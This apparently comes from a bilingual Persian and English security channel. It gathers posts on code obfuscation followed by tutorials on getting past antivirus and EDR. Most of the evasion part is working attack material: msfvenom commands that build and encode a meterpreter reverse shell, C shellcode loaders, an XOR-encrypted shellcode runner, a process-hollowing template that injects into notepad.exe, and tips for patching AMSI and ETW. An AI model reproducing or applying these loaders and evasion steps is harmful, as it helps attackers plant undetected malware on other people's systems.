🤓Code Obfuscation
وقتی برنامه نویس می‌خواد کدت رو نفهمی


Obfuscation
یعنی گیج کردن تحلیل‌گر با این تکنیک‌ها ساختار و منطق برنامه رو جوری تغییر میدن که برای CPU تفاوتی نداره ولی برای چشم و ابزار دیباگر وحشتناک پیچیده میشه




🤯 اهداف اصلی Obfuscation:

جلوگیری از مهندسی معکوس

سخت کردن تحلیل دستی و خودکار

قاتی کردن ذهن تحلیل‌گر 😅




🎭 تکنیک‌های معروف Obfuscation

Junk Code Insertion

کدهایی که هیچ کاری نمی‌کنن (NOP یا کدهای بی‌اثر) ولی ظاهر کد رو شلوغ میکنن برای ابزارهایی مثل دیس‌اسمبلر سردرگمی ایجاد میکنن.

mov eax, eax
xor ecx, ecx
add ecx, 0
jmp next

Control Flow Obfuscation

کد برنامه رو طوری تغییر میدن که فلو کاملا به هم بریزه مثلا به جای if ساده ده‌ها jmp و call جعلی میذارن.

cmp eax, 1
je good
jmp bad
...
good: ; انجام کار اصلی
bad: ; بن‌بست یا کد فیک

Opaque Predicates

شرط‌هایی که همیشه یه نتیجه مشخص دارن ولی تحلیلش سخته مثلا:

if ((x * x + 1) % 2 == 1) {
// این همیشه true هست!
}

Call/Ret Confusion

استفاده از call بدون ret یا ret به جاهای عجیب برای فریب دادن تحلیل‌گرها




Virtualization

همون چیزی که VMProtect انجام می‌ده: کل کد اصلی رو تبدیل به یه زبان عجیب و غریب می‌کنن و با یه ماشین مجازی اجراش می‌کنن.

کدی که قبلا ساده بود:

mov eax, 5
add eax, 3

تبدیل میشه به چیزی مثل:

db 0x3C, 0x29, 0x87, 0x99, ...

که فقط ماشین مجازی اون رو می‌فهمه




API Obfuscation

نام APIهایی مثل CreateFile، LoadLibrary یا VirtualAlloc در زمان اجرا ساخته میشن یا با توابع عجیب Resolve میشن پس ابزارها نمی‌تونن ساده شناسایی‌شون کنن




Encrypted Strings

رشته‌ها و پیام‌ها رمزنگاری می‌شن و فقط در زمان اجرا رمزگشایی می‌شن. برای تحلیل‌گر چیزی مثل اینه:

db 0xA1, 0xF2, 0x00, 0xC3 ; متن: “Error!” نیست؛ هنوز انکریپته.

💣 مقابله با Obfuscation

Dynamic Analysis:
اجرای برنامه در دیباگر و دیدن اجرای واقعی

Memory Dump:
از حافظه زمان اجرا کد و داده‌ها رو استخراج کن

Emulation:
شبیه‌سازی اجرای کدهای عجیب و درک رفتارشون

Deobfuscation Tools:
ابزارهایی مثل de4dot (برای دات‌نت) یا Ghidra noscripts






🤓 Code Obfuscation
When developers really don’t want you to understand the code

Obfuscation
is the art of confusing the analyst. These techniques transform the program’s logic and structure in a way that’s harmless to the CPU — but nightmarishly complex for human eyes and debugging tools.



🤯 Main Goals of Obfuscation:

Prevent reverse engineering

Make manual and automated analysis painful

Scramble the analyst’s brain 😅



🎭 Popular Obfuscation Techniques

🔹 Junk Code Insertion
Useless instructions (like NOPs or meaningless operations) that clutter the disassembly view and confuse static tools.

mov eax, eax
xor ecx, ecx
add ecx, 0
jmp next


🔹 Control Flow Obfuscation
Rewriting simple flows into a maze of fake jumps and calls to hide the real logic.

cmp eax, 1
je good
jmp bad

...
good: ; actual logic
bad: ; fake path or dead-end

🔹 Opaque Predicates
Conditions that always evaluate the same but are hard to analyze.

if ((x * x + 1) % 2 == 1) {
// This is ALWAYS true!
}

🔹 Call/Ret Confusion
Using call without a matching ret, or ret to strange locations, just to mess with analysts.

🔹 Virtualization
Just like what VMProtect does: converts your entire logic into a weird virtual language interpreted by a custom VM.

What was once clean:

mov eax, 5
add eax, 3

Becomes a blob like:

db 0x3C, 0x29, 0x87, 0x99, ...

Only the VM knows what it means.

🔹 API Obfuscation
Standard APIs like CreateFile, LoadLibrary, or VirtualAlloc are resolved dynamically or rebuilt at runtime, making detection harder for AV and tools.

🔹 Encrypted Strings
Strings are stored encrypted and only decrypted in memory at runtime. To an analyst, it looks like:

db 0xA1, 0xF2, 0x00, 0xC3

; not “Error!” yet — it’s still encrypted.




💣 Fighting Back: How to Defeat Obfuscation

Dynamic Analysis:
Run the code inside a debugger to see real behavior.

Memory Dumping:
Extract runtime code and data directly from memory.

Emulation:
Simulate exotic instructions and analyze how they behave.

Deobfuscation Tools:
Tools like de4dot (for .NET) or Ghidra noscripts help simplify the mess.

✨قسمت پنجاه و یکم Safe Cast✨

💢 موضوعات این قسمت:

00:14 مقدمه

02:52 هکرهای ایرانی و دسترسی مداوم به زیرساخت‌های حیاتی خاورمیانه

21:31 اعتراف هکر ایرانی (سینا قلی‌نژاد) به باج‌گیری سایبری

33:56 فرمان از راه دور در دل رویدادهای تقویمی

47:35 کد پنهان در فایل ناقص؛ تشخیص‌ناپذیر برای هفته‌ها


🔗 لینک مشاهده در CastBox :
https://lian.ac/kgG

🎙 با حضور: حسین الفت، وحید علمی و رضا الفت

@safe_defense
#safe_cast

🔪 بایپس آنتی‌ویروس‌ها: وقتی شکارچی، شکارچی رو دور میزنه. ⚡️

👺بایپس آنتی‌ویروس یعنی ورود از در پشتی دنیای صفر و یک...

آنتی‌ویروس‌ها، EDRها و حتی XDRهای نسل جدید مثل سگ‌های نگهبان پشت درِ سیستم وایسادن.ولی مشکل اینجاست: این سگ‌ها همه چیز رو نمی‌فهمن.

👁 اون‌چیزی که یه ابزار امنیتی می‌بینه همیشه تمام واقعیت نیست ما یاد می‌گیریم چطور طوری حرکت کنیم که اصلا دیده نشیم نه با خشونت با ظرافت، با مهندسی.

💻 اینجا قرار نیست فقط یه "فایل مخرب" بسازیم که آنتی‌ویروس رد نکنه اینجا نشونتون میدم:

چطور امضای تو توی باینری دیده نشه

چطور shellcode رو بدون صدا وارد حافظه کنیم

چطور توی دل process ویندوز جا خوش کنیم و حتی خود defender رو فریب بدیم

و در نهایت چطور همه لایه‌های دفاعی مثل AMSI، ETW، حتی SIEM رو دور بزنیم...


⚠️ ولی قبل از هرچیز باید بدونید با چی طرفید:

AV فقط دنبال فایل مشکوکه

EDR دنبال رفتار پروسس‌ هاست

XDR دنبال ارتباط بین سیستم‌ها و لاگ‌ هاست


🔪 Bypassing Antivirus: When the Hunter Outsmarts the Watchdogs ⚡️👺

Bypassing AV is like sneaking in through the backdoor of the digital world...

Antiviruses, EDRs, and even next-gen XDRs are standing guard like watchdogs at the gates of your system.
But here’s the catch: those dogs don’t see everything.

👁 What a security tool sees is never the full picture.
We’re here to learn how to move without being seen — not with brute force, but with elegance and engineering.

💻 This isn’t just about building a “malicious file” that AVs won’t flag.
Here’s what I’m going to show you:

How to make sure your signature doesn’t show up in the binary

How to inject shellcode into memory without making a sound

How to nest inside a Windows process and even trick Defender itself

And ultimately, how to bypass all layers of defense: AMSI, ETW, even SIEM…


⚠️ But before anything else, you need to know what you’re dealing with:

AV is looking for suspicious files

EDR is watching process behavior

XDR is tracking system-to-system communications and logs

🔬 تست ساده: Defender واقعا حواسش هست؟

بیاید یه تست کوچولو بگیریم از Windows Defender
ببینیم با یه payload کلاسیک چطور برخورد میکنه و چطور با یه ذره زرنگی میشه از روش رد شد!

🧪 ساختن یک فایل مشکوک

با متاسپلویت یا msfvenom یه shellcode تولید میکنیم

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o evil.exe

📎 فایل evil.exe به‌طور مستقیم توی بیشتر سیستم‌ها شناسایی و حذف میشه چون امضاش معروفه

💥 نتیجه؟

🔴 Defender
سریع پاکش میکنه چون Signature detection جواب میده هنوز



🎭 Obfuscation ساده

حالا همین payload رو با encoder درون msfvenom رمزگذاری میکنیم

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o bypassed.exe

📎 اینجا از encoder معروف shikata_ga_nai استفاده کردیم میتونیم تعداد دورهای رمزگذاری رو هم زیاد کنی (-i 5 یعنی ۵ بار)

✅ نتیجه؟

🟡 گاهی اوقات عبور میکنه گاهی نه بستگی به heuristic engine داره




🧩 ولی چرا این مهمه؟

چون:

امضا(Signature) ها با یه تغییر کوچیک بهم میریزن

ولی اگه سیستم رفتار shellcode رو تحلیل کنه (مثل EDR ها) هنوز میتونه بگیرت


📌 اینجا جرقه زده میشه که:
فقط obfuscation کافی نیست باید از حافظه استفاده کنیم باید به جای "نوشتن" "تزریق" کنیم...



🔬 Quick Test: Is Windows Defender Really Paying Attention?

Let’s run a simple experiment and see how Windows Defender reacts to a classic payload — and how just a bit of trickery can get around it.

🧪 Creating a Suspicious File
Using Metasploit or msfvenom, we generate a basic shellcode payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o evil.exe

📎 The evil.exe file will be flagged and deleted on most systems — it’s a well-known signature.

💥 Result?
🔴 Defender immediately removes it using signature-based detection — because it still works.

🎭 Basic Obfuscation
Now let’s encrypt the same payload using a built-in encoder:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o bypassed.exe

📎 We used the popular shikata_ga_nai encoder here. The -i 5 flag tells it to encode the payload 5 times.

✅ Result?
🟡 Sometimes it bypasses detection — sometimes not. It depends on Defender’s heuristic engine.

🧩 But why does this matter?
Because:

Signatures break with even small changes

But behavior-based systems (like modern EDRs) can still catch it


📌 The takeaway:
Obfuscation alone isn’t enough.
We need to operate from memory — not write, but inject.

👻 اجرای شِل‌کُد از حافظه بدون فایل، بدون ردپا!

دیگه وقتشه وارد بازی جدی بشیم
اگه تا حالا payload‌ رو با فرمت exe ذخیره میگردی، بدون که اون دوره تموم شده

🕶 الان دیگه بازی توی RAM اتفاق میافته بدون نوشتن روی دیسک بدون امضا بدون آلارم!




💉 اجرای شل‌کد در حافظه با C

کد زیر:

یه آرایه از بایت‌ها رو (یعنی همون شل‌کُد) توی حافظه کپی میکنه

با VirtualAlloc حافظه رزرو میکنه

بعد با CreateThread اجراش میکنه

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8"; // فقط چند بایت نمایشی – جایگزین کن با شل‌کُد واقعی

int main() {
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!exec) {
printf("VirtualAlloc failed\n");
return 1;
}

memcpy(exec, shellcode, sizeof shellcode);

DWORD threadId;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, &threadId);
if (!hThread) {
printf("CreateThread failed\n");
return 1;
}

WaitForSingleObject(hThread, INFINITE);
return 0;
}

📌 نکات مهم:

باید شل‌کُد خام (مثلاً از msfvenom -f c) رو توی shellcode[] بذاری.

کامپایل با MinGW توصیه میشه

اگه شل‌کُدت 64 بیتی باشه باید با x86_64-w64-mingw32-gcc کامپایل کنی.





🚫 چرا این کد کمتر شناسایی می‌شه؟

🔹 چون:

هیچ فایل مخربی روی دیسک تولید نمیکنه

هیچ string مشکوکی نداره (فقط چند API استاندارد)

رفتار پیش‌فرض AVها باهاش مشکل نداره (مگر اینکه حافظه رو اسکن کنن)





🧨 اگه خواستی این کد هم بیشتر مخفی بشه:

از تابع NtCreateThreadEx به‌جای CreateThread استفاده کن (syscall)

قبل از اجرا، ETW و AMSI رو پچ کن

کل شل‌کُد رو با XOR رمزگذاری کن و هنگام اجرا Decrypt کن



👻 Fileless Shellcode Execution – No Footprint, No Limits!
It’s time to step up your game.
If you’re still saving your payloads as .exe files, let’s be honest — that era is over. 🕶

These days, it’s all about running code directly in memory:

No writing to disk

No signatures

No alerts


💉 Shellcode Execution in Memory (Using C)
The following code allocates memory, copies raw shellcode to it, and executes it via a new thread:

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8"; // Sample bytes – replace with actual shellcode

int main() {
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!exec) {
printf("VirtualAlloc failed\n");
return 1;
}

memcpy(exec, shellcode, sizeof shellcode);

DWORD threadId;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, &threadId);
if (!hThread) {
printf("CreateThread failed\n");
return 1;
}

WaitForSingleObject(hThread, INFINITE);
return 0;
}

📌 Important Notes:

Replace shellcode[] with actual shellcode (e.g., generated via msfvenom -f c)

Compile with MinGW for best compatibility

For 64-bit shellcode, use:
x86_64-w64-mingw32-gcc


🚫 Why is this stealthier than traditional methods?
🔹 No malicious files dropped on disk
🔹 No suspicious strings — just standard API calls
🔹 Bypasses most AV heuristics unless memory is actively scanned

🧨 Want even more stealth?

Use NtCreateThreadEx instead of CreateThread (direct syscall)

Patch ETW and AMSI before execution

XOR-encrypt your shellcode and decrypt it at runtime

🕵🏻 شِل‌کُد مخفی: وقتی دشمن شل کد رو نمی‌فهمه!

AV/EDR
ها معمولا حافظه رو اسکن میکنن تا امضای شِل‌کُد رو پیدا کنن
حتی اگه فایل هم نداشته باشی ممکنه تو RAM پیدات کنن 😐

🧠 ولی اگه شل‌کدت رمزنگاری شده باشه چی؟
هیچ اثری از امضا نیست هیچ چیزی قابل تشخیص نیست...
تا وقتی خودموم توی لحظه اجرا، decryptش کنیم



🔐 رمزگذاری ساده با XOR

ما شل‌کد رو با یه کلید ساده 0xAA رمز میکنیم
بعد در زمان اجرا یه تابع کوچیک اون رو رمزگشایی میکنه



🔧 کد کامل C – اجرای شل‌کُد رمزنگاری‌شده

#include <windows.h>
#include <stdio.h>

unsigned char encrypted_shellcode[] = {
0x56, 0xe2, 0x29, 0x49 // چند بایت XOR شده برای مثال – جایگزین کن با شل‌کدت
};

int decrypt_shellcode(unsigned char *sc, int len, unsigned char key) {
for (int i = 0; i < len; i++) {
sc[i] ^= key;
}
return 0;
}

int main() {
SIZE_T sc_len = sizeof(encrypted_shellcode);
unsigned char key = 0xAA;

// Allocate memory
void *exec = VirtualAlloc(0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return 1;

// Decrypt
memcpy(exec, encrypted_shellcode, sc_len);
decrypt_shellcode((unsigned char*)exec, sc_len, key);

// Run
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

return 0;
}

⚙️ چطوری شل‌کدت رو XOR کنی؟

یه اسکریپت پایتون ساده:

shellcode = b"\xfc\x48\x83\xe4\xf0\xe8" # شل‌کد خام
key = 0xAA
encrypted = bytes([b ^ key for b in shellcode])
print(', '.join(f'0x{b:02x}' for b in encrypted))

📌 چرا این روش کار می‌کنه؟

✅ چون تا لحظه آخر توی حافظه خبری از امضای واقعی نیست
✅ چون AVها فقط دنبال الگوهای مشخصن
✅ چون تا وقتی رمز باز نشه چیزی برای شناسایی وجود نداره



🕵🏻 Stealthy Shellcode: When the enemy can’t recognize your shellcode!

AVs and EDRs often scan memory looking for shellcode signatures.
Even if there's no file involved, they can still catch you in RAM. 😐

🧠 But what if your shellcode is encrypted?
No signature.
Nothing recognizable.
Not until you decrypt it at runtime.




🔐 Simple XOR Encryption

We encrypt the shellcode using a simple XOR key (e.g., 0xAA)
Then, at runtime, we decrypt it with a tiny function — just before execution.




🔧 Full C Code – Running Encrypted Shellcode

#include <windows.h>
#include <stdio.h>

unsigned char encrypted_shellcode[] = {
0x56, 0xe2, 0x29, 0x49 // Encrypted bytes (example) — replace with your payload
};

int decrypt_shellcode(unsigned char *sc, int len, unsigned char key) {
for (int i = 0; i < len; i++) {
sc[i] ^= key;
}
return 0;
}

int main() {
SIZE_T sc_len = sizeof(encrypted_shellcode);
unsigned char key = 0xAA;

// Allocate memory
void *exec = VirtualAlloc(0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return 1;

// Copy and decrypt
memcpy(exec, encrypted_shellcode, sc_len);
decrypt_shellcode((unsigned char*)exec, sc_len, key);

// Run
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

return 0;
}

⚙️ How to XOR your shellcode?

Just use a simple Python noscript:

shellcode = b"\xfc\x48\x83\xe4\xf0\xe8" # Raw shellcode
key = 0xAA
encrypted = bytes([b ^ key for b in shellcode])
print(', '.join(f'0x{b:02x}' for b in encrypted))

📌 Why does this work?

✅ Because there’s no detectable signature in memory
✅ Because AVs look for known patterns not encrypted blobs
✅ Because until it's decrypted, there's nothing to recognize

🧠 Obfuscation پیشرفته – ذهن تحلیل‌گر رو منفجر کن


1 Instruction Substitution (جایگزینی دستورات)

کد رو طوری بازنویسی میکنن که همون عملکرد رو بده ولی با دستورات متفاوت

مثال:

به جای:

mov eax, 0

میشه نوشت:

xor eax, eax

یا یه چیز خیلی پیچیده‌تر:

sub eax, eax
add eax, eax

⛔ ابزارهای تحلیل ساده مثل IDA ممکنه نفهمن اینا معادلن.



2 Stack Tampering (دستکاری استک)

توابعی ساخته میشن که با push و pop و تغییر دستی ESP/EBP ساختار استک رو خراب میکنن در نتیجه بک‌تریس و call graph می‌ریزه به هم

اثرات:

IDA تو تشخیص توابع به اشتباه می‌افته

دیباگر دچار خطای نمایش Call Stack میشه




3 Inline Exception Handler Abuse

برنامه طوری نوشته میشه که Exception تولید میکنه و توی handler تصمیم میگیره ادامه بده یا نه!

mov eax, 0
div eax ; Exception: divide by zero!

در ادامه:

__try {
// کد مشکوک
} __except (EXCEPTION_EXECUTE_HANDLER) {
// مسیر مخفی رو اجرا کن
}

🔒 خیلی از ابزارها این رفتار رو شناسایی نمیکنن.



4 Polymorphic Obfuscation

کدی که هر بار اجراش فرق میکنه ولی نتیجه یکسانه معمولاً با Self-modifying code ترکیب میشه

مثلا:

mov eax, 1
add eax, 1

در نسخه دیگه تبدیل میشه به:

xor eax, eax
inc eax
inc eax

📛 هر بار sign‌ کردن یا هش کردن فایل متفاوت میشه → سخت برای آنتی‌ویروس‌ها و signature-based tools



5 Call Stack Hiding با Return Oriented Programming (ROP)

کد اصلی هیچ‌وقت اجرا نمیشه فقط با استفاده از گجت‌ها و return‌های متوالی کار پیش میره!

✅ ضد دیباگ
✅ ضد sign
✅ فوق‌العاده برای بایپس EDR/XDR




6 Anti-Deobfuscation Traps

کدهایی که وقتی ابزار تحلیل (مثل Ghidra یا IDA) می‌خواد decompile کنه، باعث کرش یا اشتباه تو تحلیل میشن. مثلاً:

invalid opcodes

بخش‌های ناقص در section header

اجرای کد از data section




7 Code Transposition (جابجایی کد)

بلاک‌های کد تو فایل باینری به ترتیب نیستن فقط موقع اجرا از طریق jmp/call مناسب ترتیب اجراشون درست میشه برای تحلیلگر مثل یک پازل بدون راهنماست



8 VM-based Obfuscation (Virtualization Protection)

🔐 پیشرفته‌ترین سطح Obfuscation
کل برنامه یا بخش حساس با زبانی مجازی نوشته میشه و یه VM داخلی اون رو اجرا می‌کنه. VMProtect، Tigress و Code Virtualizer از این روش استفاده میکنن

👀 خروجی فقط یه‌سری byte عجیبن، مثل:

db 0x9F, 0xB3, 0x4D, 0x81

⛔ تحلیل اینا نیازمند:

درک VM داخلی

مهندسی معکوس ماشین مجازی

ابزارهای custom


🧠 Advanced Obfuscation – Blow the Analyst’s Mind

Let’s dive into some serious obfuscation techniques that break disassemblers, confuse debuggers, and frustrate reverse engineers:




1 Instruction Substitution

Rewriting code to perform the same task using different instructions.

Instead of:

mov eax, 0

Use:

xor eax, eax

Or something even trickier:

sub eax, eax
add eax, eax

⛔ Basic analysis tools like IDA might fail to recognize these as equivalent.




2 Stack Tampering

Functions are written to manipulate the stack manually using push, pop, or directly modifying ESP/EBP.

🧨 This breaks:

Backtracing

Call graphs

Proper function recognition in IDA

Stack display in debuggers





3 Inline Exception Handler Abuse

The program intentionally causes an exception, then handles it to control execution flow:

mov eax, 0
div eax ; Division by zero!

Then handles it:

__try {
// Suspicious code
}
__except(EXCEPTION_EXECUTE_HANDLER) {
// Execute hidden path
}

🔒 Many tools don't properly track this behavior.




4 Polymorphic Obfuscation

The code changes each time it runs — but behaves the same.

Often mixed with self-modifying code.

Example:

mov eax, 1
add eax, 1

Could become:

xor eax, eax
inc eax
inc eax

📛 Every build is different → hard to sign, hash, or detect via static analysis.




5 Call Stack Hiding via Return-Oriented Programming (ROP)

The real code never runs directly — instead, execution jumps through “gadgets” ending in ret.

✅ Anti-debug
✅ Signature-less
✅ Excellent for EDR/XDR evasion




6 Anti-Deobfuscation Traps

Insert code that crashes or misleads analysis tools like IDA or Ghidra:

Invalid opcodes

Corrupted section headers

Executing code from the .data section


💥 Boom — decompiler breaks or misinterprets.




7 Code Transposition (Block Reordering)

Code blocks are stored out of order in the binary.
Only during execution, via jmp or call, the real sequence unfolds.

🧩 Like solving a puzzle with no hints for the analyst.




8 VM-Based Obfuscation (Virtualization Protection)

🔐 The ultimate in code protection.

Critical logic is rewritten in a custom virtual instruction set and executed by an internal VM.

Used by tools like:

VMProtect

Code Virtualizer

Tigress


👀 Output becomes unreadable gibberish:

db 0x9F, 0xB3, 0x4D, 0x81

⛔ To reverse it, you need:

Deep understanding of the custom VM

Reverse engineering the virtual machine itself

Custom tooling

🧟 Process Hollowing – قاپ زدن یه برنامه سالم برای اجرای یه چیز خبیث!



🎭 وقتی ظاهر Task Manager فریب می‌ده...

فرض کن توی Task Manager یه process کاملا بی‌گناه می‌بینی مثلاً notepad.exe
ولی پشتش… شل‌کُد تو داره اجرا می‌شه 😈

این کار دقیقاً همونه که توی Process Hollowing اتفاق می‌افته:



🔬 مراحل کار:

1. یه پروسه سالم (مثلا notepad) رو به‌صورت suspended اجرا میکنی


2 حافظه اون پروسه رو خالی (unmap) میکنی


3 شل‌کد خودتو مینویسی توی اون حافظه


4 اجرای اون پروسه رو شروع می‌کنی… اما این بار با کد تو!


🧬 کد C ساده – Process Hollowing در سطح پایه

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // shellcode واقعی‌تو جایگزین کن
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// 1. ایجاد پروسه‌ای که قراره hollow بشه (suspended)
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed.\n");
return -1;
}

// 2. گرفتن context پردازنده (برای دسترسی به ریجسترها)
GetThreadContext(pi.hThread, &ctx);

// 3. خواندن آدرس پایه (ImageBase) از PEB
LPVOID imageBase;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &imageBase, sizeof(LPVOID), NULL);

// 4. پاک کردن حافظه‌ی فعلی
NtUnmapViewOfSection(pi.hProcess, imageBase); // نیاز به تعریف این تابع داری!

// 5. اختصاص حافظه و نوشتن shellcode
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, imageBase, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMem, payload, sizeof(payload), NULL);

// 6. ست کردن آدرس Entry Point
ctx.Rcx = (DWORD64)remoteMem;
SetThreadContext(pi.hThread, &ctx);

// 7. اجرای پروسه
ResumeThread(pi.hThread);

return 0;
}

⚠️ نکات خیلی مهم:

باید NtUnmapViewOfSection رو از ntdll لود کنی یا با syscall صدا بزنی

Shellcode حتماً باید با همون معماری target ساخته بشه (x64 یا x86)

فایل اجرایی ظاهرش سالمه ولی در واقع شل‌کد تو اجرا میشه




😱 چرا Process Hollowing خطرناکه؟

✅ ظاهر Task Manager دروغه
✅ هیچ فایل مشکوکی ایجاد نمی‌شه
✅ بسیاری از AV/EDRها نمی‌تونن تحلیل حافظه انجام بدن (مخصوصا اگه با تکنیک‌های دیگه مثل unhook همراه شه)


🧟 Process Hollowing – Hijacking a Legit Process to Run Something Evil!


🎭 When Task Manager lies to your face...

Imagine seeing a perfectly innocent process like notepad.exe in Task Manager —
But under the hood... it’s running your shellcode 😈

That’s exactly what Process Hollowing does:



🔬 How It Works (Step-by-Step)

1 Launch a legit process (like notepad.exe) in suspended mode


2 Unmap its original memory


3 Write your own shellcode into that memory


4 Resume the process — but now, your code runs instead!





🧬 Basic C Code – A Simple Process Hollowing Example

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // Replace with your actual shellcode
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// 1. Start notepad in suspended mode
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed.\n");
return -1;
}

// 2. Get the thread context (to access registers)
GetThreadContext(pi.hThread, &ctx);

// 3. Read ImageBase from PEB
LPVOID imageBase;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &imageBase, sizeof(LPVOID), NULL);

// 4. Unmap original image (NtUnmapViewOfSection must be resolved!)
NtUnmapViewOfSection(pi.hProcess, imageBase);

// 5. Allocate memory and write shellcode
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, imageBase, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMem, payload, sizeof(payload), NULL);

// 6. Set new entry point
ctx.Rcx = (DWORD64)remoteMem;
SetThreadContext(pi.hThread, &ctx);

// 7. Resume execution
ResumeThread(pi.hThread);

return 0;
}

⚠️ Important Notes

You must resolve NtUnmapViewOfSection dynamically (from ntdll.dll) or use a direct syscall

Shellcode must match the architecture (x64 or x86)

The process looks clean, but runs your payload!




😱 Why Process Hollowing is Dangerous ?

✅ Foolproof appearance in Task Manager
✅ No suspicious executable is dropped
✅ Many AVs/EDRs don’t perform memory analysis — especially if you combine with unhooking

اگه خواستید از این رودمپ استفاده کنید این بهتر و کامل تره

If you want to use this roadmap, it's better and more complete

#roadmap

یکی از دوستان زحمت درست کردن این PDF رو کشیده خیلی ممنونم ازش حمایت کنید اگه راضی بودید بگم دوباره بسازه هر وقت تونست
@Chaos_Benji

Browser Fingerprinting Using WebAssembly, 2025.